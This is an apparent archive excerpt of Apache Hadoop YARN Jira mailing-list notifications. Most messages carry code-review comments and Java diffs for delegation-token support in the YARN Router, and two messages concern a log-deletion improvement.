+ * Get the ExpiryDate of the DelegationKey.
+ *
+ * @return ExpiryDate of the DelegationKey.
+ */
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public abstract Long getExpiryDate();
+
+ /**
+ * Set the expiryDate of the DelegationKey.
+ *
+ * @param expiryDate expiryDate of the DelegationKey.
+ */
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public abstract void setExpiryDate(Long expiryDate);
+
+ @Override
+ public int hashCode() {
+final int prime = 31;
+int result = 1;
+result = prime * result + (int) (getExpiryDate() ^ (getExpiryDate() >>>
32));
+result = prime * result + Arrays.hashCode(getKeyBytes().array());
+result = prime * result + getKeyId();
+return result;
+ }
+
+ @Override
+ public boolean equals(Object right) {
Review Comment:
Thanks for your suggestion, I will refactor this part of the code.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey
[jira] [Created] (YARN-11277) Add trigger log-dir deletion by size for NonAggregatingLogHandler
Xianming Lei created YARN-11277: --- Summary: Add trigger log-dir deletion by size for NonAggregatingLogHandler Key: YARN-11277 URL: https://issues.apache.org/jira/browse/YARN-11277 Project: Hadoop YARN Issue Type: Improvement Components: nodemanager Affects Versions: 3.4.0 Reporter: Xianming Lei -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583965#comment-17583965
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953291856
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/federation/store/records/RouterRMDTSecretManagerState.java:
##
@@ -0,0 +1,53 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.hadoop.yarn.server.federation.store.records;
+
+import org.apache.hadoop.security.token.delegation.DelegationKey;
+import org.apache.hadoop.yarn.security.client.RMDelegationTokenIdentifier;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+public class RouterRMDTSecretManagerState {
+
+ // DTIdentifier -> renewDate
+ private Map delegationTokenState =
+ new HashMap();
Review Comment:
I will modify the code.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583967#comment-17583967
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953294793
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/test/java/org/apache/hadoop/yarn/server/federation/utils/TestFederationStateStoreFacade.java:
##
@@ -232,4 +239,111 @@ public void testGetApplicationHomeSubClusterCache()
throws YarnException {
}
}
+ @Test
+ public void testStoreNewMasterKey() throws YarnException, IOException {
+// store delegation key;
+DelegationKey key = new DelegationKey(1234, 4321, "keyBytes".getBytes());
+HashSet keySet = new HashSet();
+keySet.add(key);
+facade.storeNewMasterKey(key);
+
+MemoryFederationStateStore federationStateStore =
Review Comment:
This part of the code is written because only MemoryFederationStateStore is
currently implemented, but it is not very clean to write this way, I will
refactor this part of the code.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583969#comment-17583969
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953295360
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/test/java/org/apache/hadoop/yarn/server/federation/utils/TestFederationStateStoreFacade.java:
##
@@ -232,4 +239,111 @@ public void testGetApplicationHomeSubClusterCache()
throws YarnException {
}
}
+ @Test
+ public void testStoreNewMasterKey() throws YarnException, IOException {
+// store delegation key;
+DelegationKey key = new DelegationKey(1234, 4321, "keyBytes".getBytes());
+HashSet keySet = new HashSet();
+keySet.add(key);
+facade.storeNewMasterKey(key);
+
+MemoryFederationStateStore federationStateStore =
+(MemoryFederationStateStore) facade.getStateStore();
+RouterRMDTSecretManagerState secretManagerState =
+federationStateStore.getRouterRMSecretManagerState();
+Assert.assertEquals(keySet, secretManagerState.getMasterKeyState());
+ }
+
+ @Test
+ public void testRemoveStoredMasterKey() throws YarnException, IOException {
+// store delegation key;
+DelegationKey key = new DelegationKey(4567, 7654, "keyBytes".getBytes());
+HashSet keySet = new HashSet();
+keySet.add(key);
+facade.storeNewMasterKey(key);
+
+// check to delete delegationKey
+facade.removeStoredMasterKey(key);
+keySet.clear();
+
+MemoryFederationStateStore federationStateStore =
+(MemoryFederationStateStore) facade.getStateStore();
+RouterRMDTSecretManagerState secretManagerState =
+federationStateStore.getRouterRMSecretManagerState();
+Assert.assertEquals(keySet, secretManagerState.getMasterKeyState());
+ }
+
+ @Test
+ public void testStoreNewToken() throws YarnException, IOException {
+// store new rm-token
+RMDelegationTokenIdentifier dtId1 = new RMDelegationTokenIdentifier(
+new Text("owner1"), new Text("renewer1"), new Text("realuser1"));
+int sequenceNumber = 1;
+dtId1.setSequenceNumber(sequenceNumber);
+Long renewDate1 = Time.now();
+facade.storeNewToken(dtId1, renewDate1);
+
+Map token1 =
+ new HashMap();
+token1.put(dtId1, renewDate1);
+
+MemoryFederationStateStore federationStateStore =
+(MemoryFederationStateStore) facade.getStateStore();
+RouterRMDTSecretManagerState storeSecretManagerState =
+federationStateStore.getRouterRMSecretManagerState();
+Assert.assertEquals(token1, storeSecretManagerState.getTokenState());
+ }
+
+ @Test
+ public void testUpdateNewToken() throws YarnException, IOException {
+// store new rm-token
+RMDelegationTokenIdentifier dtId1 = new RMDelegationTokenIdentifier(
+new Text("owner2"), new Text("renewer2"), new Text("realuser2"));
+int sequenceNumber = 2;
+dtId1.setSequenceNumber(sequenceNumber);
+Long renewDate1 = Time.now();
+facade.storeNewToken(dtId1, renewDate1);
+
+Map token1 =
+ new HashMap();
+token1.put(dtId1, renewDate1);
+
+renewDate1 = Time.now();
+facade.updateStoredToken(dtId1, renewDate1);
+token1.put(dtId1, renewDate1);
+
+MemoryFederationStateStore federationStateStore =
+(MemoryFederationStateStore) facade.getStateStore();
+RouterRMDTSecretManagerState updateSecretManagerState =
+federationStateStore.getRouterRMSecretManagerState();
+Assert.assertEquals(token1, updateSecretManagerState.getTokenState());
+Assert.assertEquals(sequenceNumber,
updateSecretManagerState.getDTSequenceNumber());
+ }
+
+ @Test
+ public void testRemoveStoredToken() throws YarnException, IOException {
+// store new rm-token
+RMDelegationTokenIdentifier dtId1 = new RMDelegationTokenIdentifier(
+new Text("owner3"), new Text("renewer3"), new Text("realuser3"));
+int sequenceNumber = 3;
+dtId1.setSequenceNumber(sequenceNumber);
+Long renewDate1 = Time.now();
+facade.storeNewToken(dtId1, renewDate1);
+
+Map token1 =
+ new HashMap();
Review Comment:
I will fix it.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583968#comment-17583968
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953295280
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/test/java/org/apache/hadoop/yarn/server/federation/utils/TestFederationStateStoreFacade.java:
##
@@ -232,4 +239,111 @@ public void testGetApplicationHomeSubClusterCache()
throws YarnException {
}
}
+ @Test
+ public void testStoreNewMasterKey() throws YarnException, IOException {
+// store delegation key;
+DelegationKey key = new DelegationKey(1234, 4321, "keyBytes".getBytes());
+HashSet keySet = new HashSet();
Review Comment:
I will fix it.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11277) Add trigger log-dir deletion by size for NonAggregatingLogHandler
[ https://issues.apache.org/jira/browse/YARN-11277?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Xianming Lei updated YARN-11277: Description: In our yarn cluster, the log files of some containers are too large, which causes the NodeManager to frequently switch to the unhealthy state. For logs that are too large, we can consider deleting them directly without delaying yarn.nodemanager.log.retain-seconds. Cluster environment: # 8k nodes+ # 50w+ apps / day Configuration: # yarn.nodemanager.log.retain-seconds=3days # yarn.log-aggregation-enable=false > Add trigger log-dir deletion by size for NonAggregatingLogHandler > - > > Key: YARN-11277 > URL: https://issues.apache.org/jira/browse/YARN-11277 > Project: Hadoop YARN > Issue Type: Improvement > Components: nodemanager >Affects Versions: 3.4.0 >Reporter: Xianming Lei >Priority: Minor > > In our yarn cluster, the log files of some containers are too large, which > causes the NodeManager to frequently switch to the unhealthy state. For logs > that are too large, we can consider deleting them directly without delaying > yarn.nodemanager.log.retain-seconds. > Cluster environment: > # 8k nodes+ > # 50w+ apps / day > Configuration: > # yarn.nodemanager.log.retain-seconds=3days > # yarn.log-aggregation-enable=false > > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583976#comment-17583976
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953317155
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/RouterClientRMService.java:
##
@@ -558,4 +571,32 @@ protected void finalize() {
public Map getUserPipelineMap() {
return userPipelineMap;
}
+
+ /**
+ * Create RouterRMDelegationTokenSecretManager.
+ * In the YARN federation, the Router will replace the RM to
+ * manage the RMDelegationToken (generate, update, cancel),
+ * so the relevant configuration parameters still obtain the configuration
parameters of the RM.
+ *
+ * @param conf Configuration
+ * @return RouterDelegationTokenSecretManager.
+ */
+ protected RouterDelegationTokenSecretManager
createRouterRMDelegationTokenSecretManager(
+ Configuration conf) {
+
+long secretKeyInterval =
conf.getLong(YarnConfiguration.RM_DELEGATION_KEY_UPDATE_INTERVAL_KEY,
+YarnConfiguration.RM_DELEGATION_KEY_UPDATE_INTERVAL_DEFAULT);
+long tokenMaxLifetime =
conf.getLong(YarnConfiguration.RM_DELEGATION_TOKEN_MAX_LIFETIME_KEY,
+YarnConfiguration.RM_DELEGATION_TOKEN_MAX_LIFETIME_DEFAULT);
+long tokenRenewInterval =
conf.getLong(YarnConfiguration.RM_DELEGATION_TOKEN_RENEW_INTERVAL_KEY,
+YarnConfiguration.RM_DELEGATION_TOKEN_RENEW_INTERVAL_DEFAULT);
+
+return new RouterDelegationTokenSecretManager(secretKeyInterval,
+tokenMaxLifetime, tokenRenewInterval, 360);
Review Comment:
Thanks for your suggestion.
I think hardcoding 360 should not be a reasonable way, the parameters
should be extracted into the configuration file, because this part is
consistent with RM, it will use RM-related parameter names.
It is not very reasonable to extract this parameter in this pr into the
configuration file, I submitted a separate pr for extracting this parameter
into the configuration file.
JIRA: YARN-11253. Add Configuration to delegationToken RemoverScanInterval.
PR: https://github.com/apache/hadoop/pull/4751
Can you help review this pr? Thank you very much!
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583977#comment-17583977
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953317427
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/test/java/org/apache/hadoop/yarn/server/router/secure/TestRouterDelegationTokenSecretManager.java:
##
@@ -0,0 +1,198 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.hadoop.yarn.server.router.secure;
+
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.security.token.delegation.DelegationKey;
+import org.apache.hadoop.test.LambdaTestUtils;
+import org.apache.hadoop.util.Time;
+import org.apache.hadoop.yarn.exceptions.YarnException;
+import org.apache.hadoop.yarn.security.client.RMDelegationTokenIdentifier;
+import org.apache.hadoop.yarn.server.router.clientrm.RouterClientRMService;
+import
org.apache.hadoop.yarn.server.router.security.RouterDelegationTokenSecretManager;
+import org.junit.Assert;
+import org.junit.Test;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.util.Arrays;
+
+public class TestRouterDelegationTokenSecretManager extends
AbstractSecureRouterTest {
+
+ private static final Logger LOG =
+ LoggerFactory.getLogger(TestRouterDelegationTokenSecretManager.class);
+
+ @Test
+ public void testRouterStoreNewMasterKey() throws Exception {
+LOG.info("Test RouterDelegationTokenSecretManager: StoreNewMasterKey.");
+
+// Start the Router in Secure Mode
+startSecureRouter();
+
+// Store NewMasterKey
+RouterClientRMService routerClientRMService =
this.getRouter().getClientRMProxyService();
+RouterDelegationTokenSecretManager secretManager =
+routerClientRMService.getRouterDTSecretManager();
+DelegationKey storeKey = new DelegationKey(1234, 4321,
"keyBytes".getBytes());
+secretManager.storeNewMasterKey(storeKey);
+
+// Get DelegationKey
+DelegationKey paramKey = new DelegationKey(1234, 4321,
"keyBytes".getBytes());
+DelegationKey responseKey =
secretManager.getMasterKeyByDelegationKey(paramKey);
+
+Assert.assertNotNull(paramKey);
Review Comment:
I will fix it.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additiona
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583978#comment-17583978
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953317155
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/RouterClientRMService.java:
##
@@ -558,4 +571,32 @@ protected void finalize() {
public Map getUserPipelineMap() {
return userPipelineMap;
}
+
+ /**
+ * Create RouterRMDelegationTokenSecretManager.
+ * In the YARN federation, the Router will replace the RM to
+ * manage the RMDelegationToken (generate, update, cancel),
+ * so the relevant configuration parameters still obtain the configuration
parameters of the RM.
+ *
+ * @param conf Configuration
+ * @return RouterDelegationTokenSecretManager.
+ */
+ protected RouterDelegationTokenSecretManager
createRouterRMDelegationTokenSecretManager(
+ Configuration conf) {
+
+long secretKeyInterval =
conf.getLong(YarnConfiguration.RM_DELEGATION_KEY_UPDATE_INTERVAL_KEY,
+YarnConfiguration.RM_DELEGATION_KEY_UPDATE_INTERVAL_DEFAULT);
+long tokenMaxLifetime =
conf.getLong(YarnConfiguration.RM_DELEGATION_TOKEN_MAX_LIFETIME_KEY,
+YarnConfiguration.RM_DELEGATION_TOKEN_MAX_LIFETIME_DEFAULT);
+long tokenRenewInterval =
conf.getLong(YarnConfiguration.RM_DELEGATION_TOKEN_RENEW_INTERVAL_KEY,
+YarnConfiguration.RM_DELEGATION_TOKEN_RENEW_INTERVAL_DEFAULT);
+
+return new RouterDelegationTokenSecretManager(secretKeyInterval,
+tokenMaxLifetime, tokenRenewInterval, 360);
Review Comment:
Thanks for your suggestion. I will fix it.
I think hardcoding 360 should not be a reasonable way, the parameters
should be extracted into the configuration file, because this part is
consistent with RM, it will use RM-related parameter names.
It is not very reasonable to extract this parameter in this pr into the
configuration file, I submitted a separate pr for extracting this parameter
into the configuration file.
JIRA: YARN-11253. Add Configuration to delegationToken RemoverScanInterval.
PR: https://github.com/apache/hadoop/pull/4751
Can you help review this pr? Thank you very much!
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583986#comment-17583986
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953331074
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/RouterClientRMService.java:
##
@@ -558,4 +571,32 @@ protected void finalize() {
public Map getUserPipelineMap() {
return userPipelineMap;
}
+
+ /**
+ * Create RouterRMDelegationTokenSecretManager.
+ * In the YARN federation, the Router will replace the RM to
+ * manage the RMDelegationToken (generate, update, cancel),
+ * so the relevant configuration parameters still obtain the configuration
parameters of the RM.
+ *
+ * @param conf Configuration
+ * @return RouterDelegationTokenSecretManager.
+ */
+ protected RouterDelegationTokenSecretManager
createRouterRMDelegationTokenSecretManager(
+ Configuration conf) {
+
+long secretKeyInterval =
conf.getLong(YarnConfiguration.RM_DELEGATION_KEY_UPDATE_INTERVAL_KEY,
+YarnConfiguration.RM_DELEGATION_KEY_UPDATE_INTERVAL_DEFAULT);
+long tokenMaxLifetime =
conf.getLong(YarnConfiguration.RM_DELEGATION_TOKEN_MAX_LIFETIME_KEY,
+YarnConfiguration.RM_DELEGATION_TOKEN_MAX_LIFETIME_DEFAULT);
+long tokenRenewInterval =
conf.getLong(YarnConfiguration.RM_DELEGATION_TOKEN_RENEW_INTERVAL_KEY,
+YarnConfiguration.RM_DELEGATION_TOKEN_RENEW_INTERVAL_DEFAULT);
+
+return new RouterDelegationTokenSecretManager(secretKeyInterval,
+tokenMaxLifetime, tokenRenewInterval, 360);
Review Comment:
> 360 make it 10 hours: 10 * 60 * 60 * 1000
I double checked, it should be 1 hour, 60 * 60 * 1000
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
